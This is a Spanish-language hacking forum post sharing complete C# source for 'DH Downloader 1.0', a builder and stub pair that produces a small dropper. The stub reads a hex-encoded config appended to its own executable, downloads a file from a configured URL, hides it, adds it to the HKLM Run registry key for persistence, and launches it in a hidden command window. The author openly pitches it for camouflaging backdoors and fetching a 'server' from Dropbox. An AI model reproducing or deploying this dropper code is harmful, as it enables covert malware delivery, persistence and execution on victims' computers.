Mayo 27, 2018, 01:56:18 am

Autor Tema: [C#] DH Downloader 1.0  (Leído 1318 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • Yo vivo en CPH
  • ***
  • Mensajes: 736
  • Sexo: Masculino
    • Ver Perfil
[C#] DH Downloader 1.0
« en: ſeptiembre 19, 2014, 01:10:35 pm »
Una traduccion de mi DH Downloader a C# con las siguiente opciones :

  • Se puede cambiar el nombre del archivo descargado
  • Se puede guardar en la carpeta que quieran
  • Se puede ocultar el archivo
  • Hace que el archivo se inicie cada vez que carga Windows
  • Se puede cargar oculto o normal
  • Tambien hice un generador en el que esta pensado para poner un link de descarga directa como dropbox para bajar un server en el cual tambien se le puede cambiar el icono.
  • En el generador se puede cambiar la extension del archivo bajado , ideal para camuflar backdoors en un servidor que no permite ejecutables.


Una imagen :



Los codigos :

El generador.

Código: (csharp) You are not allowed to view links. Register or Login
// DH Downloader 1.0
// (C) Doddy Hackman 2014
//
// Credits :
//
// Based on : http://www.csharp-examples.net/download-files/
//
//

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;

using System.Net;
using System.IO;
using Microsoft.Win32;
using System.Diagnostics;

using System.Reflection;

namespace DH_Downloader
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        string ruta_final_global = "";

        // Functions

        public string hexencode(string texto)
        {
            string resultado = "";

            byte[] enc = Encoding.Default.GetBytes(texto);
            resultado = BitConverter.ToString(enc);
            resultado = resultado.Replace("-", "");
            return "0x" + resultado;
        }

        public string hexdecode(string texto)
        {

            // Based on : http://snipplr.com/view/36461/string-to-hex----hex-to-string-convert/
            // Thanks to emregulcan

            string valor = texto.Replace("0x", "");
            string retorno = "";

            while (valor.Length > 0)
            {
                retorno = retorno + System.Convert.ToChar(System.Convert.ToUInt32(valor.Substring(0, 2), 16));
                valor = valor.Substring(2, valor.Length - 2);
            }

            return retorno.ToString();

        }

        public void cmd_normal(string command)
        {
            try
            {
                System.Diagnostics.Process.Start("cmd", "/c " + command);
            }
            catch
            {
                //
            }
        }

        public void cmd_hide(string command)
        {
            try
            {
                ProcessStartInfo cmd_now = new ProcessStartInfo("cmd", "/c " + command);
                cmd_now.RedirectStandardOutput = false;
                cmd_now.WindowStyle = ProcessWindowStyle.Hidden;
                cmd_now.UseShellExecute = true;
                Process.Start(cmd_now);
            }
            catch
            {
                //
            }
        }

        public void extraer_recurso(string name, string save)
        {

            // Based on : http://www.c-sharpcorner.com/uploadfile/40e97e/saving-an-embedded-file-in-C-Sharp/
            // Thanks to Jean Paul

            try
            {
                Stream bajando_recurso = Assembly.GetExecutingAssembly().GetManifestResourceStream(name);
                FileStream yacasi = new FileStream(save, FileMode.CreateNew);
                for (int count = 0; count < bajando_recurso.Length; count++)
                {
                    byte down = Convert.ToByte(bajando_recurso.ReadByte());
                    yacasi.WriteByte(down);
                }
                yacasi.Close();
            }
            catch
            {
                MessageBox.Show("Error unpacking resource");
            }

        }

        //

        private void mephobiaButton1_Click(object sender, EventArgs e)
        {
            Application.Exit();
        }


        private void mephobiaButton2_Click(object sender, EventArgs e)
        {

            string url = mephobiaTextBox1.Text;
            string directorio_final = "";
            string nombre_final = "";
            string ruta_final = "";

            string directorio_dondeestamos = Path.GetDirectoryName(System.Reflection.Assembly.GetEntryAssembly().Location);

            if (mephobiaCheckBox1.Checked)
            {
                nombre_final = mephobiaTextBox2.Text;
            }
            else
            {
                nombre_final = Path.GetFileName(url);
            }

            if (mephobiaCheckBox2.Checked)
            {
                directorio_final = mephobiaTextBox3.Text;
            }
            else
            {
                directorio_final = directorio_dondeestamos;
            }

            ruta_final = directorio_final + "/" + nombre_final;
            ruta_final_global = ruta_final;
           
            //MessageBox.Show(directorio_final);
            //MessageBox.Show(nombre_final);
            //MessageBox.Show(ruta_final);

            Directory.SetCurrentDirectory(directorio_final);

            if (File.Exists(ruta_final))
            {
                File.Delete(ruta_final);
            }

            toolStripStatusLabel1.Text = "[+] Downloading ...";
            this.Refresh();

            try
            {
                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                nave.DownloadFileCompleted += new AsyncCompletedEventHandler(finished);
                nave.DownloadProgressChanged += new DownloadProgressChangedEventHandler(ahi_vamos);
                nave.DownloadFileAsync(new Uri(url), nombre_final);
            }

            catch
            {
                //
            }
           

            if (mephobiaCheckBox3.Checked)
            {
                if (File.Exists(ruta_final))
                {
                    try
                    {
                        File.SetAttributes(ruta_final, FileAttributes.Hidden);
                    }
                    catch
                    {
                        //
                    }
                }
            }

            if (mephobiaCheckBox4.Checked)
            {
                if (File.Exists(ruta_final))
                {
                    try
                    {
                        RegistryKey loadnow = Registry.LocalMachine;
                        loadnow = loadnow.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                        loadnow.SetValue("uberkz", ruta_final, RegistryValueKind.String);
                        loadnow.Close();
                    }
                    catch
                    {
                        //
                    }
                }
            }

            if (mephobiaCheckBox5.Checked)
            {
                if (mephobiaRadiobutton1.Checked)
                {
                    cmd_normal("\"" + ruta_final + "\"");
                }
                if (mephobiaRadiobutton2.Checked)
                {
                    cmd_hide("\"" + ruta_final + "\"");
                }

            }

        }

        private void ahi_vamos(object sender, DownloadProgressChangedEventArgs e)
        {
            toolStripProgressBar1.Value = e.ProgressPercentage;
        }

        private void finished(object sender, AsyncCompletedEventArgs e)
        {

            long tam = new System.IO.FileInfo(ruta_final_global).Length;

            if (File.Exists(ruta_final_global) && tam!=0 )
            {
                toolStripStatusLabel1.Text = "[+] Done";
                this.Refresh();
                MessageBox.Show("Downloaded");
            }
            else
            {
                toolStripStatusLabel1.Text = "[-] Error";
                this.Refresh();
                MessageBox.Show("Failed download");
            }
            toolStripProgressBar1.Value = 0;
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            toolStripProgressBar1.Value = 0;
        }

        private void mephobiaButton3_Click(object sender, EventArgs e)
        {

            string linea_generada = "";

            string url = mephobiaTextBox4.Text;
            string opcion_change_name = "";
            string text_change_name = mephobiaTextBox5.Text;
            string opcion_carga_normal = "";
            string opcion_carga_hide = "";
            string ruta_donde_bajar = "";
            string opcion_ocultar_archivo = "";
            string opcion_startup = "";

            if (mephobiaCheckBox7.Checked)
            {
                opcion_change_name = "1";
            }
            else
            {
                opcion_change_name = "0";
            }

            if (mephobiaRadiobutton3.Checked)
            {
                opcion_carga_normal = "1";
            }
            else
            {
                opcion_carga_normal = "0";
            }

            if (mephobiaRadiobutton4.Checked)
            {
                opcion_carga_hide = "1";
            }
            else
            {
                opcion_carga_hide = "0";
            }

            if (mephobiaComboBox1.SelectedItem != null)
            {
                ruta_donde_bajar = mephobiaComboBox1.SelectedItem.ToString();
            }
            else
            {
                ruta_donde_bajar = "Fuck You Bitch";
            }

            if (mephobiaCheckBox6.Checked)
            {
                opcion_ocultar_archivo = "1";
            }
            else
            {
                opcion_ocultar_archivo = "0";
            }

            if (mephobiaCheckBox8.Checked)
            {
                opcion_startup = "1";
            }
            else
            {
                opcion_startup = "0";
            }

            extraer_recurso("DH_Downloader.Resources.stub.exe", "stub.exe");

            string check_stub = AppDomain.CurrentDomain.BaseDirectory + "/stub.exe";
            string work_on_stub = AppDomain.CurrentDomain.BaseDirectory + "/done.exe";

            if (File.Exists(check_stub))
            {

                if (File.Exists(work_on_stub))
                {
                    System.IO.File.Delete(work_on_stub);
                }

                System.IO.File.Copy(check_stub, work_on_stub);

                linea_generada = "-url-" + url + "-url-" + "-opcion_change_name-" + opcion_change_name + "-opcion_change_name-" +
                "-text_change_name-" + text_change_name + "-text_change_name-" + "-opcion_carga_normal-" +
                opcion_carga_normal + "-opcion_carga_normal-" + "-opcion_carga_hide-" + opcion_carga_hide +
                "-opcion_carga_hide-" + "-ruta_donde_bajar-" + ruta_donde_bajar + "-ruta_donde_bajar-" +
                "-opcion_ocultar_archivo-" + opcion_ocultar_archivo + "-opcion_ocultar_archivo-"+"-opcion_startup-"+
                opcion_startup+"-opcion_startup-";

                string generado = hexencode(linea_generada);
                string linea_final = "-63686175-" + generado + "-63686175-";

                FileStream abriendo = new FileStream(work_on_stub, FileMode.Append);
                BinaryWriter seteando = new BinaryWriter(abriendo);
                seteando.Write(linea_final);
                seteando.Flush();
                seteando.Close();
                abriendo.Close();

                //MessageBox.Show(generado);
                //MessageBox.Show(hexdecode(generado));

                try
                {
                    System.IO.File.Delete(check_stub);
                }
                catch
                {
                    //
                }

                MessageBox.Show("Tiny downloader Generated");

            }
            else
            {
                MessageBox.Show("Stub not found");
            }

        }
    }
}

// The End ?

El Stub.

Código: (csharp) You are not allowed to view links. Register or Login
// DH Downloader 1.0
// (C) Doddy Hackman 2014
// Thanks to : http://weblogs.asp.net/jhallal/hide-the-console-window-in-quot-c-console-application-quot

using System;
using System.Collections.Generic;
using System.Text;
using System.Diagnostics;
using System.Net;
using System.IO;
using Microsoft.Win32;

namespace stub
{

    class Program
    {

        // Functions

        static public void cmd_normal(string command)
        {
            try
            {
                System.Diagnostics.Process.Start("cmd", "/c " + command);
            }
            catch
            {
                //
            }
        }

        static public void cmd_hide(string command)
        {
            try
            {
                ProcessStartInfo cmd_now = new ProcessStartInfo("cmd", "/c " + command);
                cmd_now.RedirectStandardOutput = false;
                cmd_now.WindowStyle = ProcessWindowStyle.Hidden;
                cmd_now.UseShellExecute = true;
                Process.Start(cmd_now);
            }
            catch
            {
                //
            }
        }

        static public void add_startup(string path)
        {
            try
            {
                RegistryKey loadnow = Registry.LocalMachine;
                loadnow = loadnow.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                loadnow.SetValue("uberkzz", path, RegistryValueKind.String);
                loadnow.Close();
            }
            catch
            {
                //
            }
        }

        //

        static void Main(string[] args)
        {

            load_config config = new load_config();
            config.load_data();
            string check_online = config.downloader_online;
            if (check_online == "1")
            {
                Console.WriteLine("[+] Downloader Online");

                string url = config.url;
                string opcion_change_name = config.opcion_change_name;
                string text_change_name = config.text_change_name;
                string opcion_carga_normal = config.opcion_carga_normal;
                string opcion_carga_hide = config.opcion_carga_hide;
                string ruta_donde_bajar = config.ruta_donde_bajar;
                string opcion_ocultar_archivo = config.opcion_ocultar_archivo;
                string opcion_startup = config.opcion_startup;

                string nombre_final = "";
                string directorio_final = "";
                string ruta_final = "";

                //string output = config.get_data();
                //Console.WriteLine(output);

                if (opcion_change_name == "1")
                {
                    nombre_final = text_change_name;
                }
                else
                {
                    nombre_final = Path.GetFileName(url);
                }

                if (ruta_donde_bajar != "")
                {
                    directorio_final = Environment.GetEnvironmentVariable(ruta_donde_bajar);
                }
                else
                {
                    directorio_final = Environment.GetEnvironmentVariable("USERPROFILE");
                }

                ruta_final = directorio_final + "/" + nombre_final;

                Console.WriteLine("[+] URL : "+url+"\n");
                Console.WriteLine("[+] Filename : "+ruta_final+"\n");

                try
                {
                    WebClient nave = new WebClient();
                    nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                    nave.DownloadFile(url, ruta_final);
                }
                catch
                {
                    //
                }

                if (opcion_ocultar_archivo == "1")
                {
                    Console.WriteLine("[+] Hide : "+ruta_final+"\n");
                    try
                    {
                        File.SetAttributes(ruta_final, FileAttributes.Hidden);
                    }
                    catch
                    {
                        //
                    }
                }

                if (opcion_startup == "1")
                {
                    Console.WriteLine("[+] Add Startup : "+ruta_final+"\n");
                    add_startup(ruta_final);
                }

                if (opcion_carga_normal == "1")
                {
                    Console.WriteLine("[+] Load normal : "+ruta_final+"\n");
                    cmd_normal(ruta_final);
                }

                if (opcion_carga_hide == "1")
                {
                    Console.WriteLine("[+] Load hide : "+ruta_final+"\n");
                    cmd_hide(ruta_final);
                }
               
                //Console.ReadKey();

            }
            else
            {
                Console.WriteLine("[-] Downloader OffLine");
                //Console.ReadKey();
            }
           
        }
    }
}

// The End ?

Clase load_config.cs del Stub.

Código: (csharp) You are not allowed to view links. Register or Login
// DH Downloader 1.0
// (C) Doddy Hackman 2014

using System;
using System.Collections.Generic;
using System.Text;

using System.IO;
using System.Text.RegularExpressions;

namespace stub
{
    class load_config
    {
        string downloader_online_config = "";
        string url_config = "";
        string opcion_change_name_config = "";
        string text_change_name_config = "";
        string opcion_carga_normal_config = "";
        string opcion_carga_hide_config = "";
        string ruta_donde_bajar_config = "";
        string opcion_ocultar_archivo_config = "";
        string opcion_startup_config = "";

        public string downloader_online
        {
            set { downloader_online_config = value; }
            get { return downloader_online_config; }
        }

        public string url
        {
            set { url_config = value; }
            get { return url_config; }
        }

        public string opcion_change_name
        {
            set { opcion_change_name_config = value; }
            get { return opcion_change_name_config; }
        }

        public string text_change_name
        {
            set { text_change_name_config = value; }
            get { return text_change_name_config; }
        }

        public string opcion_carga_normal
        {
            set { opcion_carga_normal_config = value; }
            get { return opcion_carga_normal_config; }
        }

        public string opcion_carga_hide
        {
            set { opcion_carga_hide_config = value; }
            get { return opcion_carga_hide_config; }
        }

        public string ruta_donde_bajar
        {
            set { ruta_donde_bajar_config = value; }
            get { return ruta_donde_bajar_config; }
        }

        public string opcion_ocultar_archivo
        {
            set { opcion_ocultar_archivo_config = value; }
            get { return opcion_ocultar_archivo_config; }
        }

        public string opcion_startup
        {
            set { opcion_startup_config = value; }
            get { return opcion_startup_config; }
        }

        public string hexencode(string texto)
        {
            string resultado = "";

            byte[] enc = Encoding.Default.GetBytes(texto);
            resultado = BitConverter.ToString(enc);
            resultado = resultado.Replace("-", "");
            return "0x" + resultado;
        }

        public string hexdecode(string texto)
        {

            // Based on : http://snipplr.com/view/36461/string-to-hex----hex-to-string-convert/
            // Thanks to emregulcan

            string valor = texto.Replace("0x", "");
            string retorno = "";

            while (valor.Length > 0)
            {
                retorno = retorno + System.Convert.ToChar(System.Convert.ToUInt32(valor.Substring(0, 2), 16));
                valor = valor.Substring(2, valor.Length - 2);
            }

            return retorno.ToString();
        }

        public load_config()
        {
            string downloader_online_config = "";
            string url_config = "";
            string opcion_change_name_config = "";
            string text_change_name_config = "";
            string opcion_carga_normal_config = "";
            string opcion_carga_hide_config = "";
            string ruta_donde_bajar_config = "";
            string opcion_ocultar_archivo_config = "";
            string opcion_startup_config = "";
        }

        public void load_data()
        {
            StreamReader viendo = new StreamReader(System.Reflection.Assembly.GetEntryAssembly().Location);
            string contenido = viendo.ReadToEnd();
            Match regex = Regex.Match(contenido, "-63686175-(.*?)-63686175-", RegexOptions.IgnoreCase);

            if (regex.Success)
            {
                string comandos = regex.Groups[1].Value;
                if (comandos != "" || comandos != " ")
                {
                    downloader_online_config = "1";
                    string leyendo = hexdecode(comandos);

                    regex = Regex.Match(leyendo, "-url-(.*)-url-", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        url_config = regex.Groups[1].Value;
                    }

                    regex = Regex.Match(leyendo, "-opcion_change_name-(.*)-opcion_change_name-", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        opcion_change_name_config = regex.Groups[1].Value;
                    }

                    regex = Regex.Match(leyendo, "-text_change_name-(.*)-text_change_name-", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        text_change_name_config = regex.Groups[1].Value;
                    }

                    regex = Regex.Match(leyendo, "-opcion_carga_normal-(.*)-opcion_carga_normal-", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        opcion_carga_normal_config = regex.Groups[1].Value;
                    }

                    regex = Regex.Match(leyendo, "-opcion_carga_hide-(.*)-opcion_carga_hide-", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        opcion_carga_hide_config = regex.Groups[1].Value;
                    }

                    regex = Regex.Match(leyendo, "-ruta_donde_bajar-(.*)-ruta_donde_bajar-", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        ruta_donde_bajar_config = regex.Groups[1].Value;
                    }

                    regex = Regex.Match(leyendo, "-opcion_ocultar_archivo-(.*)-opcion_ocultar_archivo-", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        opcion_ocultar_archivo_config = regex.Groups[1].Value;
                    }

                    regex = Regex.Match(leyendo, "-opcion_startup-(.*)-opcion_startup-", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        opcion_startup_config = regex.Groups[1].Value;
                    }

                }
                else
                {
                    downloader_online_config = "0";
                }
            }

        }

        public string get_data()
        {
            string lista = "[+] Downloader Online : " + downloader_online_config + "\n" +
            "[+] URL : " + url_config +"\n" +
            "[+] Option Change Name : " + opcion_change_name_config + "\n" +
            "[+] Change Name to : " + text_change_name_config + "\n" +
            "[+] Option normal load : " + opcion_carga_normal_config + "\n" +
            "[+] Option hide load : " + opcion_carga_hide_config + "\n" +
            "[+] Path : " + ruta_donde_bajar_config + "\n" +
            "[+] Option hide file : " + opcion_ocultar_archivo_config + "\n" +
            "[+] Option startup : " + opcion_startup_config;

            //

            return lista;
        }
   

    }
}

// The End ?

You are not allowed to view links. Register or Login.

Si lo quieren bajar lo pueden hacer de You are not allowed to view links. Register or Login.


xx
[Downloader]HeatshocK Downloader v1

Iniciado por sn0x.

6 Respuestas
1604 Vistas
Último mensaje Agosto 22, 2008, 09:53:16 pm
por mankito
xx
[DOWN]Downloader -=- D.m.C.4 -=- FoR kyp's

Iniciado por sn0x.

0 Respuestas
1183 Vistas
Último mensaje Mayo 13, 2008, 01:05:37 pm
por sn0x.
xx
[DOWN]Downloader (FWB++)

Iniciado por sn0x.

0 Respuestas
1339 Vistas
Último mensaje Mayo 13, 2008, 01:06:11 pm
por sn0x.
question
Que es un Downloader?

Iniciado por Adzok

7 Respuestas
1317 Vistas
Último mensaje Octubre 06, 2011, 05:18:57 am
por natas
xx
(Down)Downloader Dmass

Iniciado por Intetronic

0 Respuestas
970 Vistas
Último mensaje Mayo 23, 2008, 04:56:25 pm
por Intetronic
xx
[Downloader]D3S WebDowloader 1.0c

Iniciado por ANTRAX

3 Respuestas
1273 Vistas
Último mensaje Agosto 12, 2008, 11:39:29 am
por ANTRAX
exclamation
[Perl] MP3 Downloader 0.1

Iniciado por BigBear

3 Respuestas
1188 Vistas
Último mensaje Marzo 09, 2013, 08:53:38 am
por BigBear
xx
[VB] Downloader GigaSize

Iniciado por zack0zack

3 Respuestas
1478 Vistas
Último mensaje Julio 06, 2009, 03:42:18 pm
por juanyang
xx
Downloader Publico

Iniciado por r0tkit3r

2 Respuestas
1194 Vistas
Último mensaje Junio 19, 2007, 09:15:55 am
por r0tkit3r
exclamation
[Python] MP3 Downloader 0.1

Iniciado por BigBear

11 Respuestas
2615 Vistas
Último mensaje Diciembre 21, 2012, 01:12:10 am
por hanlly